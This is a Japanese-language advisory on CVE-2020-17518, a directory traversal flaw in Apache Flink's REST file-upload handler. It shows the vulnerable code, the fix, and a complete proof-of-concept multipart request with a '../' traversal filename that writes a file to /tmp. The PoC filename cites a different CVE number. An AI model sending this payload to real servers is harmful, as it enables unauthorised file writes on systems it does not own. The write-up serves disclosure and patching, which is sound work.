
[CVE-2020-17518] Apache Flink RESTful API のディレクトリトラバーサルによる任意のファイルアップロード
[CVE-2020-17518] Apache Flink RESTful API におけるディレクトリトラバーサルによる任意のファイルアップロード
Apache Flink は、Java と Scala で開発された、非有界および有界なデータストリームに対するステートフル計算のためのフレームワークおよび分散処理エンジンです。Apache Flink 1.5.1 で導入された REST ハンドラには、ディレクトリトラバーサルによる任意のファイルアップロードの脆弱性があります。この脆弱性により、攻撃者は巧妙に細工された HTTP リクエストを介して、ローカルファイルシステム上の任意のディレクトリにファイルをアップロードできます。
関連する脆弱性の影響を受けるのは 1.11.3 より前のすべてのバージョンですが、Apache Flink は 1.11.3 以降のバージョンでこの脆弱性を修正しています。
脆弱性のあるコードは src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java クラスです。関連するコードスニペットを以下に示します。
import javax.annotation.Nullable;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
final DiskFileUpload fileUpload = (DiskFileUpload) data;
checkState(fileUpload.isCompleted());
final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
final Attribute request = (Attribute) data;
問題は、ユーザー入力である filename パラメータが一切サニタイズされていないことです。この コミット により、脆弱性が修正されました。パス情報を除去するために、filename は別の File インスタンスでラップされるようになっています。
import javax.annotation.Nullable;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
final DiskFileUpload fileUpload = (DiskFileUpload) data;
checkState(fileUpload.isCompleted());
//final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
fileUpload.renameTo(dest.toFile());
//LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
LOG.trace("Upload of file {} into destination {} complete.", fileUpload.getFilename(), dest.toString());
} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
final Attribute request = (Attribute) data;
概念実証 (PoC): この脆弱性を悪用するには、次のリクエストを使用できます。
POST /jars/upload HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 217
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/CVE-2020-17519-PoC.txt"
This is the PoC file
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
レスポンスのステータスコードが 400 Bad Request であっても、ファイルはサーバーに正常にアップロードされます。
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 6017